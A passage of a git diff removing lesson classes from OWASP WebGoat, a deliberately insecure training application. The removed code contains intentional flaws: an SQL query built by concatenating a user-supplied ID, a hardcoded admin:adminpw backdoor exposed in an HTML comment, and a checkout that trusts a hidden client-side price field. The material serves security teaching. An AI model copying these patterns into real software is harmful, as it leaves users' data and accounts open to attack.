e.printStackTrace(); - } - } -} diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/ViewProfile.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/ViewProfile.java deleted file mode 100644 index e9d764153..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/ViewProfile.java +++ /dev/null @@ -1,124 +0,0 @@ - -package org.owasp.webgoat.lessons.GoatHillsFinancial; - -import java.sql.ResultSet; -import java.sql.SQLException; -import java.sql.Statement; -import org.owasp.webgoat.session.Employee; -import org.owasp.webgoat.session.ParameterNotFoundException; -import org.owasp.webgoat.session.UnauthenticatedException; -import org.owasp.webgoat.session.UnauthorizedException; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - */ -public class ViewProfile extends DefaultLessonAction -{ - - public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName) - { - super(lesson, lessonName, actionName); - } - - public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, - UnauthorizedException - { - getLesson().setCurrentAction(s, getActionName()); - - if (isAuthenticated(s)) - { - int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID); - int employeeId = -1; - try - { - // User selected employee - employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID); - } catch (ParameterNotFoundException e) - { - // May be an internally selected employee - employeeId = getIntRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID); - } - - Employee employee = getEmployeeProfile(s, userId, employeeId); - setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee); - } - else - throw new UnauthenticatedException(); - - } - - public String getNextPage(WebSession s) - { - return GoatHillsFinancial.VIEWPROFILE_ACTION; - } - - protected Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException - { - Employee profile = null; - - // Query the database for the profile data of the given employee - try - { - String query = "SELECT * FROM employee WHERE userid = " + subjectUserId; - - try - { - Statement answer_statement = WebSession.getConnection(s) - .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - ResultSet answer_results = answer_statement.executeQuery(query); - if (answer_results.next()) - { - // Note: Do NOT get the password field. - profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), - answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results - .getString("title"), answer_results.getString("phone"), answer_results - .getString("address1"), answer_results.getString("address2"), answer_results - .getInt("manager"), answer_results.getString("start_date"), answer_results - .getInt("salary"), answer_results.getString("ccn"), answer_results - .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results - .getString("disciplined_notes"), answer_results.getString("personal_description")); - /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + - * " " + profile.getLastName() + " (" + profile.getId() + ")"); - */} - } catch (SQLException sqle) - { - s.setMessage("Error getting employee profile"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error getting employee profile"); - e.printStackTrace(); - } - - return profile; - } - -} diff --git a/src/main/java/org/owasp/webgoat/lessons/HiddenFieldTampering.java b/src/main/java/org/owasp/webgoat/lessons/HiddenFieldTampering.java deleted file mode 100644 index 9a8bc1823..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/HiddenFieldTampering.java +++ /dev/null @@ -1,230 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import java.text.DecimalFormat; -import java.util.ArrayList; -import java.util.List; -import java.util.regex.Pattern; -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.StringElement; -import org.apache.ecs.html.A; -import org.apache.ecs.html.B; -import org.apache.ecs.html.BR; -import org.apache.ecs.html.Center; -import org.apache.ecs.html.H1; -import org.apache.ecs.html.IMG; -import org.apache.ecs.html.Input; -import org.apache.ecs.html.P; -import org.apache.ecs.html.TD; -import org.apache.ecs.html.TH; -import org.apache.ecs.html.TR; -import org.apache.ecs.html.Table; -import org.owasp.webgoat.session.ECSFactory; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - * - * @author Jeff Williams Aspect Security - * @author Bruce Mayhew WebGoat - * @created October 28, 2003 - */ -public class HiddenFieldTampering extends LessonAdapter -{ - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); - - private final static String PRICE = "Price"; - - private final static String PRICE_TV = "2999.99"; - - private final static String PRICE_TV_HACKED = "9.99"; - - String regex = "^" + PRICE_TV + "$"; // obviously the "." will match any char - any - // interesting exploit! - Pattern pattern1 = Pattern.compile(regex); - String lineSep = System.getProperty("line.separator"); - String script = "" + lineSep; - - /** - * Constructor for the HiddenFieldScreen object - */ - public HiddenFieldTampering() - { - } - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - ec.addElement(new StringElement(script)); - float quantity; - float total; - String price = PRICE_TV; - DecimalFormat money = new DecimalFormat("$0.00"); - try - { - price = s.getParser().getRawParameter(PRICE, PRICE_TV); - quantity = s.getParser().getFloatParameter("QTY", 1.0f); - total = quantity * Float.parseFloat(price); - } catch (Exception e) - { - s.setMessage(getLabelManager().get("Invaild data") + this.getClass().getName()); - price = PRICE_TV; - quantity = 1.0f; - total = quantity * Float.parseFloat(PRICE_TV); - - } - - if (price.equals(PRICE_TV)) - { - ec.addElement(new Center().addElement(new H1().addElement(getLabelManager().get("ShoppingCart")))); - ec.addElement(new BR()); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); - - if (s.isColor()) - { - t.setBorder(1); - } - - TR tr = new TR(); - tr.addElement(new TH().addElement(getLabelManager().get("ShoppingCartItems")).setWidth("80%")); - tr.addElement(new TH().addElement(getLabelManager().get("Price")).setWidth("10%")); - tr.addElement(new TH().addElement(getLabelManager().get("Quantity")).setWidth("3%")); - tr.addElement(new TH().addElement(getLabelManager().get("Total")).setWidth("7%")); - t.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement("56 inch HDTV (model KTV-551)")); - tr.addElement(new TD().addElement(PRICE_TV).setAlign("right")); - tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY", 1).setSize(6)).setAlign("right")); - tr.addElement(new TD().addElement(money.format(total))); - t.addElement(tr); - - ec.addElement(t); - - t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - - if (s.isColor()) - { - t.setBorder(1); - } - - ec.addElement(new BR()); - tr = new TR(); - tr.addElement(new TD().addElement(getLabelManager().get("TotalChargedCreditCard")+":")); - tr.addElement(new TD().addElement(money.format(total))); - tr.addElement(new TD().addElement(ECSFactory.makeButton(getLabelManager().get("UpdateCart")))); - tr.addElement(new TD().addElement(ECSFactory.makeButton(getLabelManager().get("Purchase"), "validate()"))); - t.addElement(tr); - - ec.addElement(t); - - Input input = new Input(Input.HIDDEN, PRICE, PRICE_TV); - ec.addElement(input); - ec.addElement(new BR()); - - } - else - { - if (!price.toString().equals(PRICE_TV)) - { - makeSuccess(s); - } - - ec.addElement(new P().addElement(getLabelManager().get("TotalPriceIs")+":")); - ec.addElement(new B("$" + total)); - ec.addElement(new BR()); - ec.addElement(new P().addElement(getLabelManager().get("ThisAmountCharged"))); - } - - return (ec); - } - - /** - * DOCUMENT ME! - * - * @return DOCUMENT ME! - */ - protected Category getDefaultCategory() - { - return Category.PARAMETER_TAMPERING; - } - - /** - * Gets the hints attribute of the HiddenFieldScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - - hints.add(getLabelManager().get("HiddenFieldTamperingHint1")); - hints.add(getLabelManager().get("HiddenFieldTamperingHint2")); - hints.add(getLabelManager().get("HiddenFieldTamperingHint3")+ PRICE_TV +getLabelManager().get("HiddenFieldTamperingHint32") + PRICE_TV_HACKED ); - - return hints; - } - - - - private final static Integer DEFAULT_RANKING = new Integer(50); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Gets the title attribute of the HiddenFieldScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Exploit Hidden Fields"); - } - - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } -} diff --git a/src/main/java/org/owasp/webgoat/lessons/HowToWork.java b/src/main/java/org/owasp/webgoat/lessons/HowToWork.java deleted file mode 100644 index 07a32acaf..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/HowToWork.java +++ /dev/null @@ -1,89 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.StringElement; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - * - * @author Reto Lippuner, Marcel Wirth - * @created April 4, 2008 - */ -public class HowToWork extends LessonAdapter -{ - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - makeSuccess(s); - ElementContainer ec = new ElementContainer(); - ec.addElement(new StringElement("Welcome to WebGoat !!")); - return (ec); - } - - /** - * Gets the category attribute of the HowToWork object - * - * @return The category value - */ - protected Category getDefaultCategory() - { - return Category.INTRODUCTION; - } - - private final static Integer DEFAULT_RANKING = new Integer(10); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Gets the title attribute of the DirectoryScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("How to work with WebGoat"); - } - - public Element getCredits() - { - return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); - } - -} diff --git a/src/main/java/org/owasp/webgoat/lessons/HtmlClues.java b/src/main/java/org/owasp/webgoat/lessons/HtmlClues.java deleted file mode 100644 index d04be31f0..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/HtmlClues.java +++ /dev/null @@ -1,240 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import java.util.ArrayList; -import java.util.List; -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.StringElement; -import org.apache.ecs.html.A; -import org.apache.ecs.html.B; -import org.apache.ecs.html.Comment; -import org.apache.ecs.html.H1; -import org.apache.ecs.html.IMG; -import org.apache.ecs.html.Input; -import org.apache.ecs.html.P; -import org.apache.ecs.html.TD; -import org.apache.ecs.html.TH; -import org.apache.ecs.html.TR; -import org.apache.ecs.html.Table; -import org.owasp.webgoat.session.ECSFactory; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - * - * @author Jeff Williams Aspect Security - * @created October 28, 2003 - */ -public class HtmlClues extends LessonAdapter -{ - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); - - /** - * Description of the Field - */ - protected final static String PASSWORD = "Password"; - - /** - * Description of the Field - */ - protected final static String USERNAME = "Username"; - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - private boolean backdoor(WebSession s) - { - String username = s.getParser().getRawParameter(USERNAME, ""); - String password = s.getParser().getRawParameter(PASSWORD, ""); - - // - return (username.equals("admin") && password.equals("adminpw")); - // - } - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - try - { - // - ec.addElement(new Comment("FIXME admin:adminpw")); - // - ec.addElement(new Comment("Use Admin to regenerate database")); - - if (backdoor(s)) - { - makeSuccess(s); - - s.setMessage(getLabelManager().get("HtmlCluesBINGO")); - ec.addElement(makeUser(s, "admin", "CREDENTIALS")); - } - else - { - ec.addElement(makeLogin(s)); - } - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - } - - return (ec); - } - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @param user - * Description of the Parameter - * @param method - * Description of the Parameter - * @return Description of the Return Value - * @exception Exception - * Description of the Exception - */ - protected Element makeUser(WebSession s, String user, String method) throws Exception - { - ElementContainer ec = new ElementContainer(); - ec.addElement(new P().addElement(getLabelManager().get("WelcomeUser")+ user)); - ec.addElement(new P().addElement(getLabelManager().get("YouHaveBeenAuthenticatedWith") + method)); - - return (ec); - } - - protected Element makeLogin(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - ec.addElement(new H1().addElement("Sign In ")); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - - if (s.isColor()) - { - t.setBorder(1); - } - - TR tr = new TR(); - tr.addElement(new TH() - .addElement(getLabelManager().get("WeakAuthenticationCookiePleaseSignIn")) - .setColSpan(2).setAlign("left")); - t.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement("*"+getLabelManager().get("RequiredFields")).setWidth("30%")); - t.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement(" ").setColSpan(2)); - t.addElement(tr); - - TR row1 = new TR(); - TR row2 = new TR(); - row1.addElement(new TD(new B(new StringElement("*"+getLabelManager().get("UserName")+": ")))); - row2.addElement(new TD(new B(new StringElement("*"+getLabelManager().get("Password")+": ")))); - - Input input1 = new Input(Input.TEXT, USERNAME, ""); - Input input2 = new Input(Input.PASSWORD, PASSWORD, ""); - row1.addElement(new TD(input1)); - row2.addElement(new TD(input2)); - t.addElement(row1); - t.addElement(row2); - - Element b = ECSFactory.makeButton(getLabelManager().get("Login")); - t.addElement(new TR(new TD(b))); - ec.addElement(t); - - return (ec); - } - - /** - * Gets the hints attribute of the CluesScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add(getLabelManager().get("HtmlCluesHint1")); - hints.add(getLabelManager().get("HtmlCluesHint2")); - hints.add(getLabelManager().get("HtmlCluesHint3")); - - return hints; - } - - - - private final static Integer DEFAULT_RANKING = new Integer(30); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Gets the category attribute of the FailOpenAuthentication object - * - * @return The category value - */ - protected Category getDefaultCategory() - { - return Category.CODE_QUALITY; - } - - /** - * Gets the title attribute of the CluesScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Discover Clues in the HTML"); - } - - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } -} diff --git a/src/main/java/org/owasp/webgoat/lessons/HttpBasics.java b/src/main/java/org/owasp/webgoat/lessons/HttpBasics.java deleted file mode 100644 index c5be5587d..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/HttpBasics.java +++ /dev/null @@ -1,123 +0,0 @@ -package org.owasp.webgoat.lessons; - -import java.util.ArrayList; -import java.util.List; -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.StringElement; -import org.apache.ecs.html.BR; -import org.apache.ecs.html.Input; -import org.owasp.webgoat.session.ECSFactory; -import org.owasp.webgoat.session.WebSession; - -/** - * ************************************************************************************************* - * - * - * This file is part of WebGoat, an Open Web Application Security Project - * utility. For details, please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under - * the terms of the GNU General Public License as published by the Free Software - * Foundation; either version 2 of the License, or (at your option) any later - * version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT - * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS - * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more - * details. - * - * You should have received a copy of the GNU General Public License along with - * this program; if not, write to the Free Software Foundation, Inc., 59 Temple - * Place - Suite 330, Boston, MA 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository - * for free software projects. - * - * For details, please see http://webgoat.github.io - * - * @author Bruce Mayhew WebGoat - * @created October 28, 2003 - */ -public class HttpBasics extends LessonAdapter { - - private final static String PERSON = "person"; - - /** - * Description of the Method - * - * @param s Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) { - ElementContainer ec = new ElementContainer(); - - StringBuffer person = null; - try { - ec.addElement(new BR()); - ec.addElement(new StringElement(getLabelManager().get("EnterYourName") + ": ")); - - person = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); - person.reverse(); - - Input input = new Input(Input.TEXT, PERSON, person.toString()); - ec.addElement(input); - - Element b = ECSFactory.makeButton(getLabelManager().get("Go!")); - ec.addElement(b); - } catch (Exception e) { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - - if (!person.toString().equals("") && getLessonTracker(s).getNumVisits() > 3) { - makeSuccess(s); - } - - return (ec); - } - - /** - * Gets the hints attribute of the HelloScreen object - * - * @return The hints value - */ - public List getHints(WebSession s) { - List hints = new ArrayList(); - hints.add("Type in your name and press 'go'"); - hints.add("Turn on Show Parameters or other features"); - hints.add("Try to intercept the request with OWASP ZAP"); - hints.add("Press the Show Lesson Plan button to view a lesson summary"); - hints.add("Press the Show Solution button to view a lesson solution"); - - return hints; - } - - /** - * Gets the ranking attribute of the HelloScreen object - * - * @return The ranking value - */ - private final static Integer DEFAULT_RANKING = new Integer(10); - - protected Integer getDefaultRanking() { - return DEFAULT_RANKING; - } - - protected Category getDefaultCategory() { - return Category.GENERAL; - } - - /** - * Gets the title attribute of the HelloScreen object - * - * @return The title value - */ - public String getTitle() { - return ("Http Basics"); - } -} diff --git a/src/main/java/org/owasp/webgoat/lessons/HttpOnly.java b/src/main/java/org/owasp/webgoat/lessons/HttpOnly.java deleted file mode 100644 index ff3769f14..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/HttpOnly.java +++ /dev/null @@ -1,522 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import java.util.ArrayList; -import java.util.Date; -import java.util.List; -import java.security.MessageDigest; -import javax.servlet.http.HttpServletResponse; -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.StringElement; -import org.apache.ecs.html.A; -import org.apache.ecs.html.Form; -import org.apache.ecs.html.IMG; -import org.apache.ecs.html.Input; -import org.apache.ecs.html.TD; -import org.apache.ecs.html.TR; -import org.apache.ecs.html.Table; -import org.owasp.webgoat.session.WebSession; -import sun.misc.BASE64Encoder; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - */ -public class HttpOnly extends LessonAdapter -{ - - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); - - private final static Integer DEFAULT_RANKING = new Integer(125); - - private final static String UNIQUE2U = "unique2u"; - - private final static String HTTPONLY = "httponly"; - - private final static String HTTPONLY_VALUE = "httponly_value"; - - private final static String ACTION = "action"; - - private final static String READ = "Read Cookie"; - - private final static String WRITE = "Write Cookie"; - - private final static String READ_RESULT = "read_result"; - - private boolean httpOnly = false; - - private boolean readSuccess = false; - - private boolean writeSuccess = false; - - private String original = "undefined"; - - /** - * Gets the title attribute of the EmailScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("HTTPOnly Test"); - } - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - String action = null; - String http = null; - - http = s.getRequest().getParameter(HTTPONLY); - action = s.getRequest().getParameter(ACTION); - - if (http != null) - { - httpOnly = Boolean.parseBoolean(http); - } - - if (httpOnly) - { - // System.out.println("HttpOnly: Setting HttpOnly for cookie"); - setHttpOnly(s); - } - else - { - // System.out.println("HttpOnly: Removing HttpOnly for cookie"); - removeHttpOnly(s); - } - - if (action != null) - { - if (action.equals(READ)) - { - handleReadAction(s); - } - else if (action.equals(WRITE)) - { - handleWriteAction(s); - } - else - { - // s.setMessage("Invalid Request. Please try again."); - } - } - - try - { - ec.addElement(makeContent(s)); - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - - return (ec); - } - - /** - * DOCUMENT ME! - * - * @return DOCUMENT ME! - */ - protected Category getDefaultCategory() - { - return Category.XSS; - } - - /** - * Gets the hints attribute of the EmailScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("Read the directions and try out the buttons."); - return hints; - } - - private String createCustomCookieValue() - { - String value = null; - byte[] buffer = null; - MessageDigest md = null; - BASE64Encoder encoder = new BASE64Encoder(); - - try - { - md = MessageDigest.getInstance("SHA"); - buffer = new Date().toString().getBytes(); - - md.update(buffer); - value = encoder.encode(md.digest()); - original = value; - - } catch (Exception e) - { - e.printStackTrace(); - } - - return value; - } - - private void setHttpOnly(WebSession s) - { - String value = createCustomCookieValue(); - HttpServletResponse response = s.getResponse(); - String cookie = s.getCookie(UNIQUE2U); - - if (cookie == null || cookie.equals("HACKED")) - { - response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + "; HttpOnly"); - original = value; - } - else - { - response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + "; HttpOnly"); - original = cookie; - } - } - - private void removeHttpOnly(WebSession s) - { - String value = createCustomCookieValue(); - HttpServletResponse response = s.getResponse(); - String cookie = s.getCookie(UNIQUE2U); - - if (cookie == null || cookie.equals("HACKED")) - { - response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + ";"); - original = value; - } - else - { - response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + ";"); - original = cookie; - } - } - - private ElementContainer makeContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - Element r = null; - Element hidden_r = null; - Table t = null; - TR tr = null; - Form f = null; - - ec.addElement(new StringElement(getJavaScript())); - - f = new Form(); - - t = new Table(); - t.setWidth(500); - - tr = new TR(); - - tr.addElement(new TD(new StringElement("Your browser appears to be: " + getBrowserType(s)))); - t.addElement(tr); - - tr = new TR(); - t.addElement(tr); - - tr = new TR(); - - tr.addElement(new TD(new StringElement("Do you wish to turn HTTPOnly on?"))); - - tr.addElement(new TD(new StringElement("Yes"))); - - if (httpOnly == true) - { - r = new Input(Input.RADIO, HTTPONLY_VALUE, "True").addAttribute("Checked", "true"); - } - else - { - r = new Input(Input.RADIO, HTTPONLY_VALUE, "True").addAttribute("onClick", "document.form.httponly.click();"); - hidden_r = new Input(Input.SUBMIT, HTTPONLY, "True").addAttribute("style", "visibility:hidden"); - } - - tr.addElement(new TD(r)); - - tr.addElement(new TD(new StringElement("No"))); - - if (httpOnly == false) - { - r = new Input(Input.RADIO, HTTPONLY_VALUE, "False").addAttribute("Checked", "false"); - } - else - { - r = new Input(Input.RADIO, HTTPONLY_VALUE, "False").addAttribute("onClick", "document.form.httponly.click();"); - hidden_r = new Input(Input.SUBMIT, HTTPONLY, "False").addAttribute("style", "visibility:hidden"); - } - - tr.addElement(new TD(r)); - tr.addElement(hidden_r); - - r = new Input(Input.HIDDEN, READ_RESULT, ""); - tr.addElement(r); - - t.addElement(tr); - - /* - * tr.addElement(new TD(new StringElement("Status: " ))); t.addElement(tr); - * if(httpOnly == true) { tr.addElement(new TD(new StringElement("
On
"))); } else { tr.addElement(new TD(new StringElement ("
Off
"))); } t.addElement(tr); t.addElement(new TR(new TD(new - * StringElement("
")))); - */f.addElement(t); - - t = new Table(); - tr = new TR(); - - r = new Input(Input.SUBMIT, ACTION, READ).addAttribute("onclick", "myAlert();"); - tr.addElement(new TD(r)); - - r = new Input(Input.SUBMIT, ACTION, WRITE).addAttribute("onclick", "modifyAlert();"); - tr.addElement(new TD(r)); - t.addElement(tr); - - f.addElement(t); - ec.addElement(f); - - return ec; - } - - private void handleReadAction(WebSession s) - { - - String displayed = s.getRequest().getParameter(READ_RESULT); - - if (httpOnly == true) - { - if (displayed.indexOf(UNIQUE2U) != -1) - { - s.setMessage("FAILURE: Your browser did not enforce the HTTPOnly flag properly for the '" + UNIQUE2U - + "' cookie. It allowed direct client side read access to this cookie."); - } - else - { - s.setMessage("SUCCESS: Your browser enforced the HTTPOnly flag properly for the '" + UNIQUE2U - + "' cookie by preventing direct client side read access to this cookie."); - if (writeSuccess) - { - if (!this.isCompleted(s)) - { - makeSuccess(s); - readSuccess = false; - writeSuccess = false; - } - } - else - { - if (!this.isCompleted(s)) - { - s.setMessage("Now try to see if your browser protects write access to this cookie."); - readSuccess = true; - } - } - } - } - else if (displayed.indexOf(UNIQUE2U) != -1) - { - s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U - + "' cookie was displayed in the alert dialog."); - } - else - { - s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U - + "' cookie should have been displayed in the alert dialog, but was not for some reason. " - + "(This shouldn't happen)"); - } - } - - private void handleWriteAction(WebSession s) - { - String hacked = s.getCookie(UNIQUE2U); - - if (httpOnly == true) - { - if (!original.equals(hacked)) - { - s - .setMessage("FAILURE: Your browser did not enforce the write protection property of the HTTPOnly flag for the '" - + UNIQUE2U + "' cookie."); - s.setMessage("The " + UNIQUE2U + " cookie was successfully modified to " + hacked - + " on the client side."); - } - else - { - s - .setMessage("SUCCESS: Your browser enforced the write protection property of the HTTPOnly flag for the '" - + UNIQUE2U + "' cookie by preventing client side modification."); - if (readSuccess) - { - if (!this.isCompleted(s)) - { - makeSuccess(s); - readSuccess = false; - writeSuccess = false; - } - } - else - { - if (!this.isCompleted(s)) - { - s.setMessage("Now try to see if your browser protects read access to this cookie."); - writeSuccess = true; - } - } - } - } - else if (!original.equals(hacked)) - { - s.setMessage("Since HTTPOnly was not enabled, the browser allowed the '" + UNIQUE2U - + "' cookie to be modified on the client side."); - } - else - { - s.setMessage("Since HTTPOnly was not enabled, the browser should have allowed the '" + 